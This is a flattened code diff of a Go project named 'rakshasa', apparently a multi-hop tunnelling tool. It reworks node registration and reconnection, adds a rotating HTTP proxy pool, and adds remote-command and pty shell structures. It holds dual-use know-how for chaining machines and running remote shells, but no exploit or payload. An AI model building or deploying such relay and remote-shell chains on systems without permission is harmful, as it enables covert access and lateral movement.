s.status = CONN_STATUS_CONNECT
|
||||
return true
|
||||
}
|
||||
|
||||
return s.server.isClose == 0
|
||||
}
|
||||
|
||||
// 检查一下server是否断开,尝试重连,返回是否连接
|
||||
func (s *httpProxyClient) checkConnect() bool {
|
||||
if s.server.isClose == 1 {
|
||||
//尝试重连
|
||||
if newNode, _ := GetNodeFromAddrs(s.server.reConnectAddrs); newNode != nil {
|
||||
s.server = newNode
|
||||
}
|
||||
}
|
||||
return s.status == CONN_STATUS_CONNECT
|
||||
}
|
||||
func (s *httpProxyClient) Remoteclose() {
|
||||
|
||||
s.close = "本地要求远程关闭"
|
||||
@@ -388,7 +406,7 @@ func (s *httpProxyClient) Remoteclose() {
|
||||
buf[1] = byte(s.id >> 8)
|
||||
buf[2] = byte(s.id >> 16)
|
||||
buf[3] = byte(s.id >> 24)
|
||||
s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, append(s.randkey,buf...))
|
||||
s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, append(s.randkey, buf...))
|
||||
|
||||
}
|
||||
func init() {
|
||||
@@ -611,3 +629,53 @@ func parsereq(req *http1request, data []byte) (clen int, resdata []byte, err err
|
||||
|
||||
return 0, nil, nil
|
||||
}
|
||||
type httpPool struct {
|
||||
r *bufio.Reader
|
||||
f *os.File
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func httpPoolInit(file string) (*httpPool, error) {
|
||||
f, err := os.Open(file)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("打开http代理池文件 %s 失败", file)
|
||||
}
|
||||
p := &httpPool{
|
||||
r: bufio.NewReader(f),
|
||||
f: f,
|
||||
Mutex: sync.Mutex{},
|
||||
}
|
||||
if _, err = p.do_next(0); err != nil {
|
||||
return nil, fmt.Errorf("无法从%s文件获取代理,错误%v", file, err)
|
||||
}
|
||||
return p, nil
|
||||
}
|
||||
func (p *httpPool) Next() *common.Addr {
|
||||
addr, _ := p.do_next(0)
|
||||
return addr
|
||||
}
|
||||
func (p *httpPool) do_next(n int) (*common.Addr, error) {
|
||||
if n > 100 {
|
||||
return nil, errors.New("重试错误次数过多")
|
||||
}
|
||||
p.Lock()
|
||||
line, err := p.r.ReadString(10)
|
||||
if err == io.EOF {
|
||||
p.f.Seek(0, 0)
|
||||
p.r.Reset(p.f)
|
||||
p.Unlock()
|
||||
return p.do_next(n + 1)
|
||||
}
|
||||
p.Unlock()
|
||||
line = strings.TrimRight(line, "\n")
|
||||
line = strings.TrimRight(line, "\r")
|
||||
|
||||
if len(line) == 0 {
|
||||
return p.do_next(n + 1)
|
||||
}
|
||||
addr, err := common.ParseAddr(line)
|
||||
if err != nil {
|
||||
return p.do_next(n + 1)
|
||||
}
|
||||
return addr, nil
|
||||
}
|
||||
+225
-224
@@ -12,8 +12,10 @@ import (
|
||||
"math/rand"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"rakshasa/common"
|
||||
"runtime"
|
||||
"runtime/debug"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
@@ -21,19 +23,49 @@ import (
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
uuid2 "github.com/google/uuid"
|
||||
"github.com/creack/pty"
|
||||
)
|
||||
|
||||
var (
|
||||
currentNode = &node{uuid: uuid2.New().String()}
|
||||
shellMapLock sync.Mutex
|
||||
)
|
||||
|
||||
type StartCmdParam struct {
|
||||
Param string
|
||||
Size *pty.Winsize
|
||||
}
|
||||
type remoteCmd struct {
|
||||
cmdStatus int32
|
||||
cmd *exec.Cmd
|
||||
id uint32
|
||||
stdin io.WriteCloser
|
||||
inChan chan []byte
|
||||
translate func(in []byte) ([]byte, error)
|
||||
ping, pong int64
|
||||
}
|
||||
|
||||
var (
|
||||
currentNode = &node{}
|
||||
clientLock = &lock{}
|
||||
nodeMap = make(map[string]*node)
|
||||
nodeMap = sync.Map{}
|
||||
upLevelNode []*node //上游节点
|
||||
upNodeWrite = make(chan []byte, 999)
|
||||
extNodeIp []string
|
||||
connMap sync.Map
|
||||
)
|
||||
|
||||
type RegMsg struct {
|
||||
UUID string //当前机器uuid
|
||||
RegAddr string //远程连接的addr
|
||||
Hostname string //当前机器名称
|
||||
Goos string
|
||||
ViaUUID string
|
||||
Err string
|
||||
MainIp string
|
||||
Port string
|
||||
node *node
|
||||
}
|
||||
|
||||
func InitCurrentNode() {
|
||||
s := unsafe.Sizeof(uintptr(1))
|
||||
bit := " x32"
|
||||
@@ -54,7 +86,7 @@ func InitCurrentNode() {
|
||||
addr: currentNode.addr,
|
||||
}
|
||||
currentNode.mirrorNode.mirrorNode = currentNode
|
||||
nodeMap[currentNode.uuid] = currentNode
|
||||
nodeMap.Store(currentNode.uuid, currentNode)
|
||||
//fmt.Println("当前节点UUID", currentNode.uuid)
|
||||
go func() {
|
||||
for b := range upNodeWrite {
|
||||
@@ -81,13 +113,49 @@ func InitCurrentNode() {
|
||||
nodeTickPing()
|
||||
time.AfterFunc(time.Second*10, checkUpLevelNode)
|
||||
}
|
||||
func checkUpLevelNode() {
|
||||
func getNode(arg string) (n *node, err error) {
|
||||
id, err := strconv.Atoi(arg)
|
||||
if err == nil {
|
||||
nodeMap.Range(func(key, value interface{}) bool {
|
||||
_n := value.(*node)
|
||||
if _n.id == id {
|
||||
n = _n
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
} else {
|
||||
nodeMap.Range(func(key, value interface{}) bool {
|
||||
node := value.(*node)
|
||||
if fmt.Sprintf("%s:%d", node.mainIp, node.port) == arg {
|
||||
n = node
|
||||
return false
|
||||
} else if fmt.Sprintf("%s:%d", node.addr, node.port) == arg {
|
||||
n = node
|
||||
return false
|
||||
} else if node.uuid == arg {
|
||||
n = node
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
if n != nil {
|
||||
return n, nil
|
||||
} else {
|
||||
return connectNew(arg)
|
||||
}
|
||||
|
||||
}
|
||||
func checkUpLevelNode() {
|
||||
if len(currentConfig.DstNode) > 0 && len(upLevelNode) == 0 {
|
||||
|
||||
//尝试重新连接节点
|
||||
for _, addr := range currentConfig.DstNode {
|
||||
connectNew(addr)
|
||||
if common.Debug {
|
||||
fmt.Println("重新连接", addr)
|
||||
}
|
||||
getNode(addr)
|
||||
}
|
||||
if len(upLevelNode) == 0 {
|
||||
//尝试连接其他节点
|
||||
@@ -97,40 +165,25 @@ func checkUpLevelNode() {
|
||||
fmt.Println("连接extNodeIp", addr)
|
||||
}
|
||||
|
||||
connectNew(addr)
|
||||
getNode(addr)
|
||||
if len(upLevelNode) > 0 {
|
||||
return
|
||||
}
|
||||
}
|
||||
func() {
|
||||
|
||||
l := clientLock.RLock()
|
||||
defer l.RUnlock()
|
||||
|
||||
for _, n := range nodeMap {
|
||||
if n.uuid != currentNode.uuid {
|
||||
func() {
|
||||
|
||||
l.RUnlock()
|
||||
defer clientLock.RLock(l)
|
||||
|
||||
if len(n.mainIp) == 0 {
|
||||
if common.Debug {
|
||||
fmt.Println("连接n.addr", fmt.Sprintf("%s:%d", n.addr, n.port))
|
||||
}
|
||||
connectNew(fmt.Sprintf("%s:%d", n.addr, n.port))
|
||||
}
|
||||
}()
|
||||
if len(upLevelNode) > 0 {
|
||||
return
|
||||
}
|
||||
nodeMap.Range(func(key, value interface{}) bool {
|
||||
n := value.(*node)
|
||||
if n.uuid != currentNode.uuid {
|
||||
if len(n.mainIp) == 0 {
|
||||
getNode(fmt.Sprintf("%s:%d", n.addr, n.port))
|
||||
}
|
||||
if len(upLevelNode) > 0 {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
return true
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
time.AfterFunc(time.Second*5, checkUpLevelNode)
|
||||
}
|
||||
@@ -140,7 +193,8 @@ func nodeTickPing() {
|
||||
defer l.RUnlock()
|
||||
|
||||
now := time.Now().Unix()
|
||||
for _, n := range nodeMap {
|
||||
nodeMap.Range(func(key, value interface{}) bool {
|
||||
n := value.(*node)
|
||||
if n.uuid != currentNode.uuid {
|
||||
if n.mainIp != "" {
|
||||
addr1 := fmt.Sprintf("%s:%d", n.mainIp, n.port)
|
||||
@@ -164,8 +218,8 @@ func nodeTickPing() {
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
return true
|
||||
})
|
||||
time.AfterFunc(time.Second*1, nodeTickPing)
|
||||
}
|
||||
|
||||
@@ -202,16 +256,19 @@ type nodeInfo struct {
|
||||
}
|
||||
|
||||
func connectNew(addr string) (n *node, e error) {
|
||||
//先从已连接查找
|
||||
for _, node := range nodeMap {
|
||||
if fmt.Sprintf("%s:%d", node.mainIp, node.port) == addr {
|
||||
return node, nil
|
||||
} else if fmt.Sprintf("%s:%d", node.addr, node.port) == addr {
|
||||
return node, nil
|
||||
} else if node.uuid == addr {
|
||||
return node, nil
|
||||
defer func() {
|
||||
if n != nil {
|
||||
find := false
|
||||
for _, upN := range upLevelNode {
|
||||
if upN.uuid == n.uuid {
|
||||
find = true
|
||||
}
|
||||
}
|
||||
if !find {
|
||||
upLevelNode = append(upLevelNode, n)
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
config := cert.Tlsconfig.Clone()
|
||||
interfaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
@@ -230,7 +287,7 @@ func connectNew(addr string) (n *node, e error) {
|
||||
localstr := localAddr.String()
|
||||
localstr = localstr[:strings.LastIndex(localstr, "/")] + ":0"
|
||||
laddr, _ := net.ResolveTCPAddr("tcp", localstr)
|
||||
if laddr!=nil{
|
||||
if laddr != nil {
|
||||
if netconn, e := net.DialTCP("tcp", laddr, raddr); e == nil {
|
||||
conn := tls.Client(netconn, config)
|
||||
select {
|
||||
@@ -253,34 +310,49 @@ func connectNew(addr string) (n *node, e error) {
|
||||
}
|
||||
c := &Conn{nodeConn: conn, isClient: true, nodeaddr: addr, remoteAddr: conn.LocalAddr().String()}
|
||||
connMap.Store(c.remoteAddr, conn)
|
||||
c.regResult = make(chan error, 1)
|
||||
c.regResultNode = make(chan *node, 1)
|
||||
c.regResult = make(chan RegMsg, 1)
|
||||
c.handle()
|
||||
c.reg()
|
||||
|
||||
defer func() {
|
||||
if c.node != nil {
|
||||
l := clientLock.Lock()
|
||||
find := false
|
||||
for _, n := range upLevelNode {
|
||||
if n.uuid == c.node.uuid {
|
||||
find = true
|
||||
select {
|
||||
case regmsg := <-c.regResult:
|
||||
if regmsg.Err != "" {
|
||||
return nil, errors.New(regmsg.Err)
|
||||
}
|
||||
n = regmsg.node
|
||||
n.uuid = regmsg.UUID
|
||||
n.hostName = cert.RSADecrypterStr(regmsg.Hostname)
|
||||
n.goos = cert.RSADecrypterStr(regmsg.Goos)
|
||||
n.addr = n.conn.nodeConn.RemoteAddr().String()
|
||||
if i := strings.Index(n.addr, ":"); i > -1 {
|
||||
n.addr = n.addr[:i]
|
||||
}
|
||||
|
||||
n.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
|
||||
if n.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); n.port==0 {
|
||||
n.port = -1
|
||||
}
|
||||
|
||||
if v, ok := nodeMap.Load(regmsg.UUID); ok {
|
||||
if v.(*node).conn.node != nil && v.(*node).conn.node.uuid == regmsg.UUID && v.(*node).conn.closeTag == 0 {
|
||||
n.uuid = "" //清空uuid避免正常的node被删
|
||||
n.conn.Close("重复注册") //当前的连接关掉
|
||||
v.(*node).mainIp = cert.RSADecrypterStr(regmsg.MainIp)
|
||||
if v.(*node).port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); v.(*node).port==0 {
|
||||
v.(*node).port = -1
|
||||
}
|
||||
}
|
||||
if !find {
|
||||
upLevelNode = append(upLevelNode, c.node)
|
||||
n = v.(*node)
|
||||
} else {
|
||||
n.conn.node = n
|
||||
}
|
||||
|
||||
l.Unlock()
|
||||
} else {
|
||||
n.conn.node = n
|
||||
}
|
||||
}()
|
||||
select {
|
||||
case err = <-c.regResult:
|
||||
return nil, err
|
||||
case n = <-c.regResultNode:
|
||||
//连接成功
|
||||
nodeMap.Store(n.uuid, n)
|
||||
n.reConnectAddrs = []string{addr}
|
||||
return n, err
|
||||
n.Write(common.CMD_GET_NODE, 0, nil)
|
||||
return n, nil
|
||||
case <-time.After(time.Second * 10):
|
||||
return nil, errors.New("time out")
|
||||
}
|
||||
@@ -422,11 +494,8 @@ func (n *node) do(msg *common.Msg) {
|
||||
}
|
||||
|
||||
case common.CMD_REG:
|
||||
func() {
|
||||
l := clientLock.Lock()
|
||||
defer l.Unlock()
|
||||
|
||||
var regmsg common.RegMsg
|
||||
var regmsg RegMsg
|
||||
err = json.Unmarshal(msg.CmdData, ®msg)
|
||||
if err != nil {
|
||||
regmsg.Err = err.Error()
|
||||
@@ -436,7 +505,7 @@ func (n *node) do(msg *common.Msg) {
|
||||
}
|
||||
uuid := regmsg.UUID
|
||||
if uuid == currentNode.uuid {
|
||||
regmsg.Err = "不能连接自己"
|
||||
regmsg.Err = "请求的UUID相同,无法连接自己,请将节点设置为不同的UUID"
|
||||
b, _ := json.Marshal(regmsg)
|
||||
n.Write(common.CMD_REG_RESULT, 0, b)
|
||||
return
|
||||
@@ -459,94 +528,36 @@ func (n *node) do(msg *common.Msg) {
|
||||
resultMsg.Port = cert.RSAEncrypterStr(strconv.Itoa(currentNode.port))
|
||||
resultMsg.Goos = cert.RSAEncrypterStr(currentNode.goos)
|
||||
|
||||
b, _ := json.Marshal(resultMsg)
|
||||
//返回成功结果
|
||||
n.Write(common.CMD_REG_RESULT, 0, b)
|
||||
//储存节点
|
||||
n.uuid = uuid
|
||||
if v, ok := nodeMap[uuid]; !ok || v.conn.closeTag > 0 {
|
||||
n.conn.node = n
|
||||
if common.Debug {
|
||||
fmt.Printf("nodeMap2 %s %p \r\n", regmsg.UUID, n)
|
||||
}
|
||||
nodeMap[regmsg.UUID] = n
|
||||
|
||||
}
|
||||
currentNode.broadcastNode()
|
||||
//把本机所有节点同步到注册机器
|
||||
go n.writeGetNodeResult(msg.CmdId)
|
||||
}()
|
||||
case common.CMD_REG_RESULT:
|
||||
var regmsg common.RegMsg
|
||||
err = json.Unmarshal(msg.CmdData, ®msg)
|
||||
|
||||
if err != nil {
|
||||
select {
|
||||
case n.conn.regResult <- err:
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if regmsg.Err != "" {
|
||||
select {
|
||||
case n.conn.regResult <- errors.New(regmsg.Err):
|
||||
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
//fmt.Printf("connect to %s(%s) success\n", regmsg.UUID, regmsg.RegAddr)
|
||||
l := clientLock.Lock()
|
||||
|
||||
n.uuid = regmsg.UUID
|
||||
n.hostName = cert.RSADecrypterStr(regmsg.Hostname)
|
||||
n.goos = cert.RSADecrypterStr(regmsg.Goos)
|
||||
n.addr = n.conn.nodeConn.RemoteAddr().String()
|
||||
if i := strings.Index(n.addr, ":"); i > -1 {
|
||||
n.addr = n.addr[:i]
|
||||
}
|
||||
workconn := n.conn
|
||||
n.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
|
||||
if n.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil {
|
||||
n.port = -1
|
||||
}
|
||||
if v, ok := nodeMap[regmsg.UUID]; ok {
|
||||
if v.conn.node != nil && v.conn.node.uuid == regmsg.UUID && v.conn.closeTag == 0 {
|
||||
n.uuid = "" //清空uuid避免正常的node被删
|
||||
n.conn.Close("重复注册") //当前的连接关掉
|
||||
n.conn = v.conn
|
||||
v.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
|
||||
if v.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil {
|
||||
v.port = -1
|
||||
}
|
||||
n = v
|
||||
} else {
|
||||
n.conn.node = n
|
||||
}
|
||||
|
||||
} else {
|
||||
b, _ := json.Marshal(resultMsg)
|
||||
//返回成功结果
|
||||
n.Write(common.CMD_REG_RESULT, 0, b)
|
||||
//储存节点
|
||||
n.uuid = uuid
|
||||
if v, ok := nodeMap.Load(uuid); !ok || v.(*node).conn.closeTag > 0 {
|
||||
n.conn.node = n
|
||||
if common.Debug {
|
||||
fmt.Printf("nodeMap2 %s %p \r\n", regmsg.UUID, n)
|
||||
}
|
||||
nodeMap.Store(regmsg.UUID, n)
|
||||
}
|
||||
if common.Debug {
|
||||
fmt.Printf("nodeMap3 %s %p \r\n", n.uuid, n)
|
||||
currentNode.broadcastNode()
|
||||
|
||||
case common.CMD_REG_RESULT:
|
||||
var regmsg RegMsg
|
||||
err = json.Unmarshal(msg.CmdData, ®msg)
|
||||
if err != nil {
|
||||
regmsg.Err = err.Error()
|
||||
}
|
||||
nodeMap[n.uuid] = n
|
||||
l.Unlock()
|
||||
|
||||
regmsg.node = n
|
||||
select {
|
||||
case workconn.regResultNode <- n:
|
||||
|
||||
case n.conn.regResult <- regmsg:
|
||||
default:
|
||||
}
|
||||
|
||||
//交换节点
|
||||
n.writeGetNodeResult(msg.CmdId)
|
||||
|
||||
case common.CMD_REMOTE_REG:
|
||||
|
||||
var regmsg common.RegMsg
|
||||
var regmsg RegMsg
|
||||
err = json.Unmarshal(msg.CmdData, ®msg)
|
||||
if currentConfig.Limit {
|
||||
regmsg.Err = "node is in limit mode"
|
||||
@@ -557,7 +568,7 @@ func (n *node) do(msg *common.Msg) {
|
||||
if err == nil {
|
||||
var newNode *node
|
||||
|
||||
newNode, err = connectNew(regmsg.RegAddr)
|
||||
newNode, err = getNode(regmsg.RegAddr)
|
||||
if err == nil {
|
||||
|
||||
regmsg.UUID = newNode.uuid
|
||||
@@ -577,7 +588,7 @@ func (n *node) do(msg *common.Msg) {
|
||||
}
|
||||
n.writeGetNodeResult(msg.CmdId)
|
||||
case common.CMD_REMOTE_REG_RESULT:
|
||||
var regmsg common.RegMsg
|
||||
var regmsg RegMsg
|
||||
err = json.Unmarshal(msg.CmdData, ®msg)
|
||||
v, ok := n.loadQuery(msg.CmdId)
|
||||
if !ok {
|
||||
@@ -592,9 +603,11 @@ func (n *node) do(msg *common.Msg) {
|
||||
return
|
||||
}
|
||||
l := clientLock.Lock()
|
||||
defer l.Unlock()
|
||||
|
||||
if n.uuid != regmsg.UUID {
|
||||
var targetNode *node
|
||||
if targetNode, ok = nodeMap[regmsg.UUID]; !ok {
|
||||
if _v, ok := nodeMap.Load(regmsg.UUID); !ok {
|
||||
targetNode = getNewNode(nodeInfo{
|
||||
UUID: regmsg.UUID,
|
||||
HostName: cert.RSADecrypterStr(regmsg.Hostname),
|
||||
@@ -605,8 +618,9 @@ func (n *node) do(msg *common.Msg) {
|
||||
if common.Debug {
|
||||
fmt.Printf("nodeMap4 %s %p \r\n", regmsg.UUID, n)
|
||||
}
|
||||
nodeMap[regmsg.UUID] = targetNode
|
||||
nodeMap.Store(regmsg.UUID, targetNode)
|
||||
} else {
|
||||
targetNode = _v.(*node)
|
||||
targetNode.updateNode(nodeInfo{
|
||||
UUID: regmsg.UUID,
|
||||
HostName: cert.RSADecrypterStr(regmsg.Hostname),
|
||||
@@ -619,8 +633,6 @@ func (n *node) do(msg *common.Msg) {
|
||||
} else {
|
||||
v <- n
|
||||
}
|
||||
|
||||
l.Unlock()
|
||||
n.writeGetNodeResult(msg.CmdId)
|
||||
|
||||
case common.CMD_PING:
|
||||
@@ -828,12 +840,12 @@ func (n *node) do(msg *common.Msg) {
|
||||
Goos: cert.RSADecrypterStr(_n.Goos),
|
||||
}
|
||||
if _n.UUID != currentNode.uuid {
|
||||
if v, ok := nodeMap[_n.UUID]; !ok {
|
||||
nodeMap[_n.UUID] = getNewNode(_n, n)
|
||||
if v, ok := nodeMap.Load(_n.UUID); !ok {
|
||||
nodeMap.Store(_n.UUID, getNewNode(_n, n))
|
||||
} else {
|
||||
v.hostName = _n.HostName
|
||||
v.mainIp = _n.MainIp
|
||||
v.port, _ = strconv.Atoi(_n.Port)
|
||||
v.(*node).hostName = _n.HostName
|
||||
v.(*node).mainIp = _n.MainIp
|
||||
v.(*node).port, _ = strconv.Atoi(_n.Port)
|
||||
}
|
||||
|
||||
}
|
||||
@@ -865,34 +877,29 @@ func (n *node) do(msg *common.Msg) {
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
l := clientLock.Lock()
|
||||
defer l.Unlock()
|
||||
if v, ok := nodeMap[nmsg.UUID]; !ok {
|
||||
if v, ok := nodeMap.Load(nmsg.UUID); !ok {
|
||||
newNode := getNewNode(nmsg, n)
|
||||
if common.Debug {
|
||||
fmt.Printf("nodeMap5 %s %p \r\n", nmsg.UUID, newNode)
|
||||
}
|
||||
|
||||
nodeMap[nmsg.UUID] = newNode
|
||||
nodeMap.Store(nmsg.UUID, newNode)
|
||||
} else if nmsg.UUID != currentNode.uuid {
|
||||
n := v.(*node)
|
||||
port, err := strconv.Atoi(cert.RSADecrypterStr(nmsg.Port))
|
||||
if err == nil {
|
||||
v.port = port
|
||||
n.port = port
|
||||
} else {
|
||||
v.port = -1
|
||||
n.port = -1
|
||||
}
|
||||
|
||||
v.mainIp = cert.RSADecrypterStr(nmsg.MainIp)
|
||||
v.hostName = cert.RSADecrypterStr(nmsg.HostName)
|
||||
v.goos = cert.RSADecrypterStr(nmsg.Goos)
|
||||
v.uuid = nmsg.UUID
|
||||
n.mainIp = cert.RSADecrypterStr(nmsg.MainIp)
|
||||
n.hostName = cert.RSADecrypterStr(nmsg.HostName)
|
||||
n.goos = cert.RSADecrypterStr(nmsg.Goos)
|
||||
n.uuid = nmsg.UUID
|
||||
if common.Debug {
|
||||
fmt.Printf("nodeMap6 %s %p \r\n", nmsg.UUID, v)
|
||||
}
|
||||
|
||||
nodeMap[nmsg.UUID] = v
|
||||
|
||||
nodeMap.Store(nmsg.UUID, n)
|
||||
}
|
||||
case common.CMD_DIR:
|
||||
|
||||
@@ -1208,7 +1215,7 @@ func (n *node) do(msg *common.Msg) {
|
||||
}
|
||||
}
|
||||
func (n *node) remoteReg(addr string) (newN *node, err error) {
|
||||
regmsg := common.RegMsg{
|
||||
regmsg := RegMsg{
|
||||
RegAddr: addr,
|
||||
UUID: currentNode.uuid,
|
||||
MainIp: cert.RSAEncrypterStr(currentNode.mainIp),
|
||||
@@ -1238,7 +1245,10 @@ func (n *node) remoteReg(addr string) (newN *node, err error) {
|
||||
return nil, errors.New("error result")
|
||||
}
|
||||
func (n *node) Close(reason string) {
|
||||
if n.conn != nil && n.conn.node.uuid == n.uuid {
|
||||
if common.Debug {
|
||||
fmt.Println("Close ", reason)
|
||||
}
|
||||
if n.conn != nil && n.conn.node != nil && n.conn.node.uuid == n.uuid {
|
||||
n.conn.Close(reason)
|
||||
}
|
||||
n.Delete(reason)
|
||||
@@ -1260,26 +1270,17 @@ func getNewNode(m nodeInfo, n *node) *node {
|
||||
func allNodesDo(f func(*node) (bool, error)) (err error) {
|
||||
var ok bool
|
||||
|
||||
l := clientLock.RLock()
|
||||
defer l.RUnlock()
|
||||
|
||||
for _, n := range nodeMap {
|
||||
nodeMap.Range(func(key, value interface{}) bool {
|
||||
n := value.(*node)
|
||||
if n.uuid != currentNode.uuid {
|
||||
func() {
|
||||
|
||||
l.RUnlock()
|
||||
defer clientLock.RLock(l)
|
||||
ok, err = f(n)
|
||||
}()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !ok {
|
||||
break
|
||||
ok, err = f(n)
|
||||
if err != nil || !ok {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
return true
|
||||
})
|
||||
return err
|
||||
}
|
||||
func (n *node) ping(id uint32) {
|
||||
if common.NoPing {
|
||||
@@ -1295,16 +1296,14 @@ func (n *node) ping(id uint32) {
|
||||
if common.Debug {
|
||||
fmt.Println(time.Now().Format("2006-01-02 15:04:05"), n.uuid, "超时")
|
||||
}
|
||||
if n.conn != nil && n.conn.node.uuid == n.uuid {
|
||||
n.conn.Close("超时关闭")
|
||||
}
|
||||
n.Delete("超时关闭")
|
||||
//尝试重连
|
||||
|
||||
n.Close("超时关闭")
|
||||
|
||||
//尝试重连
|
||||
go func() {
|
||||
if !currentConfig.Limit && len(n.mainIp) > 0 {
|
||||
for _, addr := range n.mainIp {
|
||||
_n, _ := connectNew(fmt.Sprintf("%s:%d", addr, n.port))
|
||||
_n, _ := getNode(fmt.Sprintf("%s:%d", addr, n.port))
|
||||
if _n != nil {
|
||||
return
|
||||
}
|
||||
@@ -1354,12 +1353,7 @@ func (n *node) ping(id uint32) {
|
||||
func (n *node) Delete(reason string) {
|
||||
go func() {
|
||||
if atomic.CompareAndSwapInt32(&n.isClose, 0, 1) {
|
||||
l := clientLock.Lock()
|
||||
_, ok := nodeMap[n.uuid]
|
||||
if ok {
|
||||
delete(nodeMap, n.uuid)
|
||||
}
|
||||
l.Unlock()
|
||||
|
||||
n.connMap.Range(func(key, value interface{}) bool {
|
||||
if v, ok := value.(common.Conn); ok {
|
||||
v.Close(reason)
|
||||
@@ -1390,6 +1384,7 @@ func (n *node) Delete(reason string) {
|
||||
n.shellMap.Delete(key)
|
||||
return true
|
||||
})
|
||||
nodeMap.Delete(n.uuid)
|
||||
}
|
||||
|
||||
}()
|
||||
@@ -1425,6 +1420,7 @@ func (n *node) broadcastNode() {
|
||||
}
|
||||
|
||||
func GetNodeFromAddrs(dst []string) (n *node, err error) {
|
||||
|
||||
if len(dst) == 0 {
|
||||
return nil, errors.New("参数错误,目标节点为空")
|
||||
}
|
||||
@@ -1485,27 +1481,32 @@ func (n *node) storeConn(v common.Conn) (newID uint32) {
|
||||
}
|
||||
|
||||
func (n *node) writeGetNodeResult(id uint32) {
|
||||
l := clientLock.RLock()
|
||||
go func() {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
fmt.Println(err)
|
||||
debug.PrintStack()
|
||||
}
|
||||
}()
|
||||
var s []*nodeInfo
|
||||
nodeMap.Range(func(key, value interface{}) bool {
|
||||
_n := value.(*node)
|
||||
if _n.uuid != currentNode.uuid {
|
||||
s = append(s, &nodeInfo{
|
||||
UUID: _n.uuid,
|
||||
HostName: cert.RSAEncrypterStr(_n.hostName),
|
||||
MainIp: cert.RSAEncrypterStr(_n.mainIp),
|
||||
Port: cert.RSAEncrypterStr(strconv.Itoa(_n.port)),
|
||||
Goos: cert.RSAEncrypterStr(_n.goos),
|
||||
})
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
defer l.RUnlock()
|
||||
b, _ := json.Marshal(s)
|
||||
n.Write(common.CMD_GET_NODE_RESULT, id, b)
|
||||
}()
|
||||
|
||||
var s []*nodeInfo
|
||||
|
||||
for _, _n := range nodeMap {
|
||||
if _n.uuid != currentNode.uuid {
|
||||
s = append(s, &nodeInfo{
|
||||
UUID: _n.uuid,
|
||||
HostName: cert.RSAEncrypterStr(_n.hostName),
|
||||
MainIp: cert.RSAEncrypterStr(_n.mainIp),
|
||||
Port: cert.RSAEncrypterStr(strconv.Itoa(_n.port)),
|
||||
Goos: cert.RSAEncrypterStr(_n.goos),
|
||||
})
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
b, _ := json.Marshal(s)
|
||||
n.Write(common.CMD_GET_NODE_RESULT, id, b)
|
||||
}
|
||||
func (n *node) updateNode(msg nodeInfo) {
|
||||
n.hostName = msg.HostName
|
||||
|
||||
@@ -18,6 +18,12 @@ func (l *serverListen) Lisen() {
|
||||
|
||||
continue
|
||||
}
|
||||
if l.node.isClose == 1 {
|
||||
newNode, _ := getNode(l.node.uuid)
|
||||
if newNode != nil {
|
||||
l.node = newNode
|
||||
}
|
||||
}
|
||||
|
||||
conn := &serverConnect{}
|
||||
conn.conn = c
|
||||
@@ -27,7 +33,7 @@ func (l *serverListen) Lisen() {
|
||||
|
||||
if l.isSocks5 {
|
||||
conn.id = l.id
|
||||
l.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, append(l.randkey,l.socks5Replay...))
|
||||
l.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, append(l.randkey, l.socks5Replay...))
|
||||
go conn.handTcpReceive()
|
||||
return
|
||||
}
|
||||
@@ -38,7 +44,7 @@ func (l *serverListen) Lisen() {
|
||||
b[1] = byte(conn.id >> 8)
|
||||
b[2] = byte(conn.id >> 16)
|
||||
b[3] = byte(conn.id >> 24)
|
||||
conn.node.Write(common.CMD_CONNECT_BYID, l.id, append(l.randkey,b...))
|
||||
conn.node.Write(common.CMD_CONNECT_BYID, l.id, append(l.randkey, b...))
|
||||
l.connMap.Store(conn.id, conn)
|
||||
go conn.handTcpReceive()
|
||||
|
||||
|
||||
-833
@@ -1,833 +0,0 @@
|
||||
package server
|
||||
|
||||
/*
|
||||
*高级shell功能
|
||||
*node节点管理、remoteShell远程shell,config配置管理
|
||||
*/
|
||||
import (
|
||||
"bytes"
|
||||
"cert"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"os/exec"
|
||||
"rakshasa/aes"
|
||||
"rakshasa/common"
|
||||
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/abiosoft/readline"
|
||||
"github.com/creack/pty"
|
||||
"github.com/luyu6056/ishell"
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
var (
|
||||
shellMapLock sync.Mutex
|
||||
)
|
||||
|
||||
type StartCmdParam struct {
|
||||
Param string
|
||||
Size *pty.Winsize
|
||||
